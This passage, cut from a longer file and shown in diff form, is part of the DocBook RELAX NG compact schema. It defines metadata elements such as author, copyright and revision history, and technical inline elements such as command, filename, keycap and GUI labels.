+div { + db.author.role.attribute = attribute role { text } + db.author.attlist = + db.author.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.author = + + ## The name of an individual author + element author { db.author.attlist, db.credit.contentmodel } +} +div { + db.authorgroup.role.attribute = attribute role { text } + db.authorgroup.attlist = + db.authorgroup.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.authorgroup = + + ## Wrapper for author information when a document has multiple authors or collabarators + element authorgroup { + db.authorgroup.attlist, (db.author | db.editor | db.othercredit)+ + } +} +div { + db.collab.role.attribute = attribute role { text } + db.collab.attlist = + db.collab.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.collab = + + ## Identifies a collaborator + element collab { + db.collab.attlist, (db.personname | db.orgname)+, db.affiliation* + } +} +div { + db.authorinitials.role.attribute = attribute role { text } + db.authorinitials.attlist = + db.authorinitials.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.authorinitials = + + ## The initials or other short identifier for an author + element authorinitials { db.authorinitials.attlist, db._text } +} +div { + db.confgroup.role.attribute = attribute role { text } + db.confgroup.attlist = + db.confgroup.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.confgroup = + + ## A wrapper for document meta-information about a conference + element confgroup { + db.confgroup.attlist, + (db.confdates + | db.conftitle + | db.confnum + | db.confsponsor + | db.address)* + } +} +div { + db.confdates.role.attribute = attribute role { text } + db.confdates.attlist = + db.confdates.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.confdates = + + ## The dates of a conference for which a document was written + element confdates { db.confdates.attlist, db._text } +} +div { + db.conftitle.role.attribute = attribute role { text } + db.conftitle.attlist = + db.conftitle.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.conftitle = + + ## The title of a conference for which a document was written + element conftitle { db.conftitle.attlist, db._text } +} +div { + db.confnum.role.attribute = attribute role { text } + db.confnum.attlist = + db.confnum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.confnum = + + ## An identifier, frequently numerical, associated with a conference for which a document was written + element confnum { db.confnum.attlist, db._text } +} +div { + db.confsponsor.role.attribute = attribute role { text } + db.confsponsor.attlist = + db.confsponsor.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.confsponsor = + + ## The sponsor of a conference for which a document was written + element confsponsor { db.confsponsor.attlist, db._text } +} +div { + db.contractnum.role.attribute = attribute role { text } + db.contractnum.attlist = + db.contractnum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.contractnum = + + ## The contract number of a document + element contractnum { db.contractnum.attlist, db._text } +} +div { + db.contractsponsor.role.attribute = attribute role { text } + db.contractsponsor.attlist = + db.contractsponsor.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.contractsponsor = + + ## The sponsor of a contract + element contractsponsor { db.contractsponsor.attlist, db._text } +} +div { + db.copyright.role.attribute = attribute role { text } + db.copyright.attlist = + db.copyright.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.copyright = + + ## Copyright information about a document + element copyright { db.copyright.attlist, db.year+, db.holder* } +} +div { + db.year.role.attribute = attribute role { text } + db.year.attlist = + db.year.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.year = + + ## The year of publication of a document + element year { db.year.attlist, db._text } +} +div { + db.holder.role.attribute = attribute role { text } + db.holder.attlist = + db.holder.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.holder = + + ## The name of the individual or organization that holds a copyright + element holder { db.holder.attlist, db._text } +} +db.cover.contentmodel = + (db.para.blocks + | db.extension.blocks + | db.list.blocks + | db.informal.blocks + | db.publishing.blocks + | db.graphic.blocks + | db.technical.blocks + | db.verbatim.blocks + | db.bridgehead + | db.synopsis.blocks + | db.remark + | db.revhistory)+ +div { + db.cover.role.attribute = attribute role { text } + db.cover.attlist = + db.cover.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.cover = + + ## Additional content for the cover of a publication + element cover { db.cover.attlist, db.cover.contentmodel } +} +db.date.contentmodel = + xsd:date | xsd:dateTime | xsd:gYearMonth | xsd:gYear | text +div { + db.date.role.attribute = attribute role { text } + db.date.attlist = + db.date.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.date = + + ## The date of publication or revision of a document + element date { db.date.attlist, db.date.contentmodel } +} +div { + db.edition.role.attribute = attribute role { text } + db.edition.attlist = + db.edition.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.edition = + + ## The name or number of an edition of a document + element edition { db.edition.attlist, db._text } +} +div { + db.editor.role.attribute = attribute role { text } + db.editor.attlist = + db.editor.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.editor = + + ## The name of the editor of a document + element editor { db.editor.attlist, db.credit.contentmodel } +} +div { + db.biblioid.role.attribute = attribute role { text } + db.biblioid.attlist = + db.biblioid.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblio.class.attribute + db.biblioid = + + ## An identifier for a document + element biblioid { db.biblioid.attlist, db._text } +} +div { + db.citebiblioid.role.attribute = attribute role { text } + db.citebiblioid.attlist = + db.citebiblioid.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblio.class.attribute + db.citebiblioid = + + ## A citation of a bibliographic identifier + element citebiblioid { db.citebiblioid.attlist, db._text } +} +div { + db.bibliosource.role.attribute = attribute role { text } + db.bibliosource.attlist = + db.bibliosource.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblio.class.attribute + db.bibliosource = + + ## The source of a document + element bibliosource { db.bibliosource.attlist, db._text } +} +div { + db.bibliorelation.type.enumeration = + + ## The described resource pre-existed the referenced resource, which is essentially the same intellectual content presented in another format + "hasformat" + | + ## The described resource includes the referenced resource either physically or logically + "haspart" + | + ## The described resource has a version, edition, or adaptation, namely, the referenced resource + "hasversion" + | + ## The described resource is the same intellectual content of the referenced resource, but presented in another format + "isformatof" + | + ## The described resource is a physical or logical part of the referenced resource + "ispartof" + | + ## The described resource is referenced, cited, or otherwise pointed to by the referenced resource + "isreferencedby" + | + ## The described resource is supplanted, displaced, or superceded by the referenced resource + "isreplacedby" + | + ## The described resource is required by the referenced resource, either physically or logically + "isrequiredby" + | + ## The described resource is a version, edition, or adaptation of the referenced resource; changes in version imply substantive changes in content rather than differences in format + "isversionof" + | + ## The described resource references, cites, or otherwise points to the referenced resource + "references" + | + ## The described resource supplants, displaces, or supersedes the referenced resource + "replaces" + | + ## The described resource requires the referenced resource to support its function, delivery, or coherence of content + "requires" + db.bibliorelation.type-enum.attribute = + + ## Identifies the type of relationship + attribute type { db.bibliorelation.type.enumeration }? + db.bibliorelation.type-other.attributes = + + ## Identifies the type of relationship + attribute type { + + ## The described resource has a non-standard relationship with the referenced resource + "othertype" + }?, + + ## A keyword that identififes the type of the non-standard relationship + attribute othertype { xsd:NMTOKEN } + db.bibliorelation.type.attribute = + db.bibliorelation.type-enum.attribute + | db.bibliorelation.type-other.attributes + db.bibliorelation.role.attribute = attribute role { text } + db.bibliorelation.attlist = + db.bibliorelation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.biblio.class.attribute + & db.bibliorelation.type.attribute + db.bibliorelation = + + ## The relationship of a document to another + element bibliorelation { db.bibliorelation.attlist, db._text } +} +div { + db.bibliocoverage.spacial.enumeration = + + ## The DCMI Point identifies a point in space using its geographic coordinates + "dcmipoint" + | + ## ISO 3166 Codes for the representation of names of countries + "iso3166" + | + ## The DCMI Box identifies a region of space using its geographic limits + "dcmibox" + | + ## The Getty Thesaurus of Geographic Names + "tgn" + db.bibliocoverage.spatial-enum.attribute = + + ## Specifies the type of spatial coverage + attribute spatial { db.bibliocoverage.spacial.enumeration }? + db.bibliocoverage.spatial-other.attributes = + + ## Specifies the type of spatial coverage + attribute spatial { + + ## Identifies a non-standard type of coverage + "otherspatial" + }?, + + ## A keyword that identifies the type of non-standard coverage + attribute otherspatial { xsd:NMTOKEN } + db.bibliocoverage.spatial.attribute = + db.bibliocoverage.spatial-enum.attribute + | db.bibliocoverage.spatial-other.attributes + db.bibliocoverage.temporal.enumeration = + + ## A specification of the limits of a time interval + "dcmiperiod" + | + ## W3C Encoding rules for dates and times—a profile based on ISO 8601 + "w3c-dtf" + db.bibliocoverage.temporal-enum.attribute = + + ## Specifies the type of temporal coverage + attribute temporal { db.bibliocoverage.temporal.enumeration }? + db.bibliocoverage.temporal-other.attributes = + + ## Specifies the type of temporal coverage + attribute temporal { + + ## Specifies a non-standard type of coverage + "othertemporal" + }?, + + ## A keyword that identifies the type of non-standard coverage + attribute othertemporal { xsd:NMTOKEN } + db.bibliocoverage.temporal.attribute = + db.bibliocoverage.temporal-enum.attribute + | db.bibliocoverage.temporal-other.attributes + db.bibliocoverage.coverage.attrib = + db.bibliocoverage.spatial.attribute + & db.bibliocoverage.temporal.attribute + db.bibliocoverage.role.attribute = attribute role { text } + db.bibliocoverage.attlist = + db.bibliocoverage.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.bibliocoverage.coverage.attrib + db.bibliocoverage = + + ## The spatial or temporal coverage of a document + element bibliocoverage { db.bibliocoverage.attlist, db._text } +} +div { + db.legalnotice.role.attribute = attribute role { text } + db.legalnotice.attlist = + db.legalnotice.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.legalnotice.info = db._info.title.only + db.legalnotice = + + ## A statement of legal obligations or requirements + element legalnotice { + db.legalnotice.attlist, db.legalnotice.info, db.all.blocks+ + } +} +div { + db.othercredit.class.enumeration = + + ## A copy editor + "copyeditor" + | + ## A graphic designer + "graphicdesigner" + | + ## Some other contributor + "other" + | + ## A production editor + "productioneditor" + | + ## A technical editor + "technicaleditor" + | + ## A translator + "translator" + db.othercredit.class-enum.attribute = + + ## Identifies the nature of the contributor + attribute class { db.othercredit.class.enumeration }? + db.othercredit.class-other.attribute = + + ## Identifies the nature of the non-standard contribution + attribute otherclass { xsd:NMTOKEN } + db.othercredit.class-other.attributes = + + ## Identifies the nature of the contributor + attribute class { + + ## Identifies a non-standard contribution + "other" + } + & db.othercredit.class-other.attribute + db.othercredit.class.attribute = + db.othercredit.class-enum.attribute + | db.othercredit.class-other.attributes + db.othercredit.role.attribute = attribute role { text } + db.othercredit.attlist = + db.othercredit.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.othercredit.class.attribute + db.othercredit = + + ## A person or entity, other than an author or editor, credited in a document + element othercredit { + db.othercredit.attlist, db.credit.contentmodel + } +} +div { + db.pagenums.role.attribute = attribute role { text } + db.pagenums.attlist = + db.pagenums.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.pagenums = + + ## The numbers of the pages in a book, for use in a bibliographic entry + element pagenums { db.pagenums.attlist, db._text } +} +div { + db.contrib.role.attribute = attribute role { text } + db.contrib.attlist = + db.contrib.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.contrib = + + ## A summary of the contributions made to a document by a credited source + element contrib { db.contrib.attlist, db._text } +} +div { + db.honorific.role.attribute = attribute role { text } + db.honorific.attlist = + db.honorific.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.honorific = + + ## The title of a person + element honorific { db.honorific.attlist, db._text } +} +div { + db.firstname.role.attribute = attribute role { text } + db.firstname.attlist = + db.firstname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.firstname = + + ## The first name of a person + element firstname { db.firstname.attlist, db._text } +} +div { + db.surname.role.attribute = attribute role { text } + db.surname.attlist = + db.surname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.surname = + + ## A family name; in western cultures the last name + element surname { db.surname.attlist, db._text } +} +div { + db.lineage.role.attribute = attribute role { text } + db.lineage.attlist = + db.lineage.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.lineage = + + ## The portion of a person's name indicating a relationship to ancestors + element lineage { db.lineage.attlist, db._text } +} +div { + db.othername.role.attribute = attribute role { text } + db.othername.attlist = + db.othername.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.othername = + + ## A component of a persons name that is not a first name, surname, or lineage + element othername { db.othername.attlist, db._text } +} +div { + db.printhistory.role.attribute = attribute role { text } + db.printhistory.attlist = + db.printhistory.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.printhistory = + + ## The printing history of a document + element printhistory { db.printhistory.attlist, db.para.blocks+ } +} +div { + db.productname.role.attribute = attribute role { text } + db.productname.class.enumeration = + + ## A name with a copyright + "copyright" + | + ## A name with a registered copyright + "registered" + | + ## A name of a service + "service" + | + ## A name which is trademarked + "trade" + db.productname.class.attribute = + + ## Specifies the class of product name + attribute class { db.productname.class.enumeration } + db.productname.attlist = + db.productname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.productname.class.attribute? + db.productname = + + ## The formal name of a product + element productname { db.productname.attlist, db._text } +} +div { + db.productnumber.role.attribute = attribute role { text } + db.productnumber.attlist = + db.productnumber.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.productnumber = + + ## A number assigned to a product + element productnumber { db.productnumber.attlist, db._text } +} +div { + db.pubdate.role.attribute = attribute role { text } + db.pubdate.attlist = + db.pubdate.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.pubdate = + + ## The date of publication of a document + element pubdate { db.pubdate.attlist, db.date.contentmodel } +} +div { + db.publisher.role.attribute = attribute role { text } + db.publisher.attlist = + db.publisher.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.publisher = + + ## The publisher of a document + element publisher { + db.publisher.attlist, db.publishername, db.address* + } +} +div { + db.publishername.role.attribute = attribute role { text } + db.publishername.attlist = + db.publishername.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.publishername = + + ## The name of the publisher of a document + element publishername { db.publishername.attlist, db._text } +} +div { + db.releaseinfo.role.attribute = attribute role { text } + db.releaseinfo.attlist = + db.releaseinfo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.releaseinfo = + + ## Information about a particular release of a document + element releaseinfo { db.releaseinfo.attlist, db._text } +} +div { + db.revhistory.role.attribute = attribute role { text } + db.revhistory.attlist = + db.revhistory.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revhistory.info = db._info.title.only + db.revhistory = + + ## A history of the revisions to a document + element revhistory { + db.revhistory.attlist, db.revhistory.info, db.revision+ + } +} +div { + db.revision.role.attribute = attribute role { text } + db.revision.attlist = + db.revision.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revision = + + ## An entry describing a single revision in the history of the revisions to a document + element revision { + db.revision.attlist, + db.revnumber?, + db.date, + (db.authorinitials | db.author)*, + (db.revremark | db.revdescription)? + } +} +div { + db.revnumber.role.attribute = attribute role { text } + db.revnumber.attlist = + db.revnumber.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revnumber = + + ## A document revision number + element revnumber { db.revnumber.attlist, db._text } +} +div { + db.revremark.role.attribute = attribute role { text } + db.revremark.attlist = + db.revremark.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revremark = + + ## A description of a revision to a document + element revremark { db.revremark.attlist, db._text } +} +div { + db.revdescription.role.attribute = attribute role { text } + db.revdescription.attlist = + db.revdescription.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.revdescription = + + ## A extended description of a revision to a document + element revdescription { db.revdescription.attlist, db.all.blocks* } +} +div { + db.seriesvolnums.role.attribute = attribute role { text } + db.seriesvolnums.attlist = + db.seriesvolnums.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.seriesvolnums = + + ## Numbers of the volumes in a series of books + element seriesvolnums { db.seriesvolnums.attlist, db._text } +} +div { + db.volumenum.role.attribute = attribute role { text } + db.volumenum.attlist = + db.volumenum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.volumenum = + + ## The volume number of a document in a set (as of books in a set or articles in a journal) + element volumenum { db.volumenum.attlist, db._text } +} +div { + db.issuenum.role.attribute = attribute role { text } + db.issuenum.attlist = + db.issuenum.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.issuenum = + + ## The number of an issue of a journal + element issuenum { db.issuenum.attlist, db._text } +} +div { + db.accel.role.attribute = attribute role { text } + db.accel.attlist = + db.accel.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.accel = + + ## A graphical user interface (GUI) keyboard shortcut + element accel { db.accel.attlist, db._text } +} +div { + db.application.class.enumeration = + + ## A hardware application + "hardware" + | + ## A software application + "software" + db.application.class.attribute = + + ## Identifies the class of application + attribute class { db.application.class.enumeration } + db.application.role.attribute = attribute role { text } + db.application.attlist = + db.application.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.application.class.attribute? + db.application = + + ## The name of a software program + element application { db.application.attlist, db._text } +} +div { + db.package.role.attribute = attribute role { text } + db.package.attlist = + db.package.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.package = + + ## A software or application package + element package { db.package.attlist, db._text } +} +div { + db.classname.role.attribute = attribute role { text } + db.classname.attlist = + db.classname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.classname = + + ## The name of a class, in the object-oriented programming sense + element classname { db.classname.attlist, db._text } +} +div { + db.command.role.attribute = attribute role { text } + db.command.attlist = + db.command.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.command = + + ## The name of an executable program or other software command + element command { db.command.attlist, db._text } +} +db.computeroutput.inlines = + (text + | db.ubiq.inlines + | db.os.inlines + | db.technical.inlines + | db.markup.inlines) + | db.co + | db.co +div { + db.computeroutput.role.attribute = attribute role { text } + db.computeroutput.attlist = + db.computeroutput.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.computeroutput = + + ## Data, generally text, displayed or presented by a computer + element computeroutput { + db.computeroutput.attlist, db.computeroutput.inlines* + } +} +div { + db.database.class.enumeration = + + ## An alternate or secondary key + "altkey" + | + ## A constraint + "constraint" + | + ## A data type + "datatype" + | + ## A field + "field" + | + ## A foreign key + "foreignkey" + | + ## A group + "group" + | + ## An index + "index" + | + ## The first or primary key + "key1" + | + ## An alternate or secondary key + "key2" + | + ## A name + "name" + | + ## The primary key + "primarykey" + | + ## A (stored) procedure + "procedure" + | + ## A record + "record" + | + ## A rule + "rule" + | + ## The secondary key + "secondarykey" + | + ## A table + "table" + | + ## A user + "user" + | + ## A view + "view" + db.database.class.attribute = + + ## Identifies the class of database artifact + attribute class { db.database.class.enumeration } + db.database.role.attribute = attribute role { text } + db.database.attlist = + db.database.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.database.class.attribute? + db.database = + + ## The name of a database, or part of a database + element database { db.database.attlist, db._text } +} +div { + db.email.role.attribute = attribute role { text } + db.email.attlist = + db.email.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.email = + + ## An email address + element email { db.email.attlist, db._text } +} +div { + db.envar.role.attribute = attribute role { text } + db.envar.attlist = + db.envar.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.envar = + + ## A software environment variable + element envar { db.envar.attlist, db._text } +} +div { + db.errorcode.role.attribute = attribute role { text } + db.errorcode.attlist = + db.errorcode.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.errorcode = + + ## An error code + element errorcode { db.errorcode.attlist, db._text } +} +div { + db.errorname.role.attribute = attribute role { text } + db.errorname.attlist = + db.errorname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.errorname = + + ## An error name + element errorname { db.errorname.attlist, db._text } +} +div { + db.errortext.role.attribute = attribute role { text } + db.errortext.attlist = + db.errortext.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.errortext = + + ## An error message. + element errortext { db.errortext.attlist, db._text } +} +div { + db.errortype.role.attribute = attribute role { text } + db.errortype.attlist = + db.errortype.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.errortype = + + ## The classification of an error message + element errortype { db.errortype.attlist, db._text } +} +div { + db.filename.class.enumeration = + + ## A device + "devicefile" + | + ## A directory + "directory" + | + ## A filename extension + "extension" + | + ## A header file (as for a programming language) + "headerfile" + | + ## A library file + "libraryfile" + | + ## A partition (as of a hard disk) + "partition" + | + ## A symbolic link + "symlink" + db.filename.class.attribute = + + ## Identifies the class of filename + attribute class { db.filename.class.enumeration } + db.filename.path.attribute = + + ## Specifies the path of the filename + attribute path { text } + db.filename.role.attribute = attribute role { text } + db.filename.attlist = + db.filename.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.filename.path.attribute? + & db.filename.class.attribute? + db.filename = + + ## The name of a file + element filename { db.filename.attlist, db._text } +} +div { + db.function.role.attribute = attribute role { text } + db.function.attlist = + db.function.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.function = + + ## The name of a function or subroutine, as in a programming language + element function { db.function.attlist, db._text } +} +div { + db.guibutton.role.attribute = attribute role { text } + db.guibutton.attlist = + db.guibutton.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guibutton = + + ## The text on a button in a GUI + element guibutton { + db.guibutton.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guiicon.role.attribute = attribute role { text } + db.guiicon.attlist = + db.guiicon.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guiicon = + + ## Graphic and/or text appearing as a icon in a GUI + element guiicon { + db.guiicon.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guilabel.role.attribute = attribute role { text } + db.guilabel.attlist = + db.guilabel.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guilabel = + + ## The text of a label in a GUI + element guilabel { + db.guilabel.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guimenu.role.attribute = attribute role { text } + db.guimenu.attlist = + db.guimenu.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guimenu = + + ## The name of a menu in a GUI + element guimenu { + db.guimenu.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guimenuitem.role.attribute = attribute role { text } + db.guimenuitem.attlist = + db.guimenuitem.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guimenuitem = + + ## The name of a terminal menu item in a GUI + element guimenuitem { + db.guimenuitem.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.guisubmenu.role.attribute = attribute role { text } + db.guisubmenu.attlist = + db.guisubmenu.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.guisubmenu = + + ## The name of a submenu in a GUI + element guisubmenu { + db.guisubmenu.attlist, + (db._text | db.accel | db.superscript | db.subscript)* + } +} +div { + db.hardware.role.attribute = attribute role { text } + db.hardware.attlist = + db.hardware.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.hardware = + + ## A physical part of a computer system + element hardware { db.hardware.attlist, db._text } +} +div { + db.keycap.function.enumeration = + + ## The "Alt" key + "alt" + | + ## The "Backspace" key + "backspace" + | + ## The "Command" key + "command" + | + ## The "Control" key + "control" + | + ## The "Delete" key + "delete" + | + ## The down arrow + "down" + | + ## The "End" key + "end" + | + ## The "Enter" or "Return" key + "enter" + | + ## The "Escape" key + "escape" + | + ## The "Home" key + "home" + | + ## The "Insert" key + "insert" + | + ## The left arrow + "left" + | + ## The "Meta" key + "meta" + | + ## The "Option" key + "option" + | + ## The page down key + "pagedown" + | + ## The page up key + "pageup" + | + ## The right arrow + "right" + | + ## The "Shift" key + "shift" + | + ## The spacebar + "space" + | + ## The "Tab" key + "tab" + | + ## The up arrow + "up" + db.keycap.function-enum.attribute = + + ## Identifies the function key + attribute function { db.keycap.function.enumeration }? + db.keycap.function-other.attributes = + + ## Identifies the function key + attribute function { + + ## Indicates a non-standard function key + "other" + }?, + + ## Specifies a keyword that identifies the non-standard key + attribute otherfunction { text } + db.keycap.function.attrib = + db.keycap.function-enum.attribute + | db.keycap.function-other.attributes + db.keycap.role.attribute = attribute role { text } + db.keycap.attlist = + db.keycap.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.keycap.function.attrib + db.keycap = + + ## The text printed on a key on a keyboard + element keycap { db.keycap.attlist, db._text } +} +div { + db.keycode.role.attribute = attribute role { text } + db.keycode.attlist = + db.keycode.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.keycode = + + ## The internal, frequently numeric, identifier for a key on a keyboard + element keycode { db.keycode.attlist, db._text } +} +div { + db.keycombo.action.enumeration = + + ## A (single) mouse click. + "click" + | + ## A double mouse click. + "double-click" + | + ## A mouse or key press. + "press" + | + ## Sequential clicks or presses. + "seq" + | + ## Simultaneous clicks or presses. + "simul" + db.keycombo.action-enum.attribute = + + ## Identifies the nature of the action taken. If keycombo + ## contains more than one element, simul + ## is the default, otherwise there is no default. + attribute action { db.keycombo.action.enumeration }? + db.keycombo.action-other.attributes = + + ## Identifies the nature of the action taken + attribute action { + + ## Indicates a non-standard action + "other" + }?, + + ## Identifies the non-standard action in some unspecified way. + attribute otheraction { text } + db.keycombo.action.attrib = + db.keycombo.action-enum.attribute + | db.keycombo.action-other.attributes + db.keycombo.role.attribute = attribute role { text } + db.keycombo.attlist = + db.keycombo.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.keycombo.action.attrib + db.keycombo = + + ## A combination of input actions + element keycombo { + db.keycombo.attlist, + (db.keycap | db.keycombo | db.keysym | db.mousebutton)+ + } +} +div { + db.keysym.role.attribute = attribute role { text } + db.keysym.attlist = + db.keysym.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.keysym = + + ## The symbolic name of a key on a keyboard + element keysym { db.keysym.attlist, db._text } +} +div { + db.lineannotation.role.attribute = attribute role { text } + db.lineannotation.attlist = + db.lineannotation.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.lineannotation = + + ## A comment on a line in a verbatim listing + element lineannotation { db.lineannotation.attlist, db._text } +} +div { + db.literal.role.attribute = attribute role { text } + db.literal.attlist = + db.literal.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.literal = + + ## Inline text that is some literal value + element literal { db.literal.attlist, db._text } +} +div { + code.language.attribute = + + ## Identifies the (computer) language of the code fragment + attribute language { text } + db.code.role.attribute = attribute role { text } + db.code.attlist = + db.code.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & code.language.attribute? + db.code = + + ## An inline code fragment + element code { db.code.attlist, db._text } +} +div { + db.constant.class.attribute = + + ## Identifies the class of constant + attribute class { + + ## The value is a limit of some kind + "limit" + } + db.constant.role.attribute = attribute role { text } + db.constant.attlist = + db.constant.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.constant.class.attribute? + db.constant = + + ## A programming or system constant + element constant { db.constant.attlist, db._text } +} +div { + db.varname.role.attribute = attribute role { text } + db.varname.attlist = + db.varname.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.varname = + + ## The name of a variable + element varname { db.varname.attlist, db._text } +} +div { + db.markup.role.attribute = attribute role { text } + db.markup.attlist = + db.markup.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.markup = + + ## A string of formatting markup in text that is to be represented literally + element markup { db.markup.attlist, db._text } +} +div { + db.menuchoice.role.attribute = attribute role { text } + db.menuchoice.attlist = + db.menuchoice.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.menuchoice = + + ## A selection or series of selections from a menu + element menuchoice { + db.menuchoice.attlist, + db.shortcut?, + (db.guibutton + | db.guiicon + | db.guilabel + | db.guimenu + | db.guimenuitem + | db.guisubmenu)+ + } +} +div { + db.shortcut.action.attrib = db.keycombo.action.attrib + db.shortcut.role.attribute = attribute role { text } + db.shortcut.attlist = + db.shortcut.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.shortcut.action.attrib + db.shortcut = + + ## A key combination for an action that is also accessible through a menu + element shortcut { + db.shortcut.attlist, + (db.keycap | db.keycombo | db.keysym | db.mousebutton)+ + } +} +div { + db.mousebutton.role.attribute = attribute role { text } + db.mousebutton.attlist = + db.mousebutton.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.mousebutton = + + ## The conventional name of a mouse button + element mousebutton { db.mousebutton.attlist, db._text } +} +div { + db.option.role.attribute = attribute role { text } + db.option.attlist = + db.option.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.option = + + ## An option for a software command + element option { db.option.attlist, db._text } +} +div { + db.optional.role.attribute = attribute role { text } + db.optional.attlist = + db.optional.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.optional = + + ## Optional information + element optional { db.optional.attlist, db._text } +} +div { + db.property.role.attribute = attribute role { text } + db.property.attlist = + db.property.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.property = + + ## A unit of data associated with some part of a computer system + element property { db.property.attlist, db._text } +} +div { + db.parameter.class.enumeration = + + ## A command + "command" + | + ## A function + "function" + | + ## An option + "option" + db.parameter.class.attribute = + + ## Identifies the class of parameter + attribute class { db.parameter.class.enumeration } + db.parameter.role.attribute = attribute role { text } + db.parameter.attlist = + db.parameter.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.parameter.class.attribute? + db.parameter = + + ## A value or a symbolic reference to a value + element parameter { db.parameter.attlist, db._text } +} +db.prompt.inlines = db._text | db.co +div { + db.prompt.role.attribute = attribute role { text } + db.prompt.attlist = + db.prompt.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.prompt = + + ## A character or string indicating the start of an input field in a computer display + element prompt { db.prompt.attlist, db.prompt.inlines* } +} +db.replaceable.inlines = db._text | db.co +div { + db.replaceable.class.enumeration = + + ## A command + "command" + | + ## A function + "function" + | + ## An option + "option" + | + ## A parameter + "parameter" + db.replaceable.class.attribute = + + ## Identifies the nature of the replaceable text + attribute class { db.replaceable.class.enumeration } + db.replaceable.role.attribute = attribute role { text } + db.replaceable.attlist = + db.replaceable.role.attribute? + & db.common.attributes + & db.common.linking.attributes + & db.replaceable.class.attribute? + db.replaceable = + + ## Content that may or must be replaced by the user + element replaceable { + db.replaceable.attlist, db.replaceable.inlines* + } +} +div { + db.returnvalue.role.attribute = attribute role { text } + db.returnvalue.attlist = + db.returnvalue.role.attribute? + & db.common.attributes + & db.common.linking.attributes + db.returnvalue = + + ## The value returned by a function + element returnvalue { db.returnvalue.attlist, db._text } +} +div { + 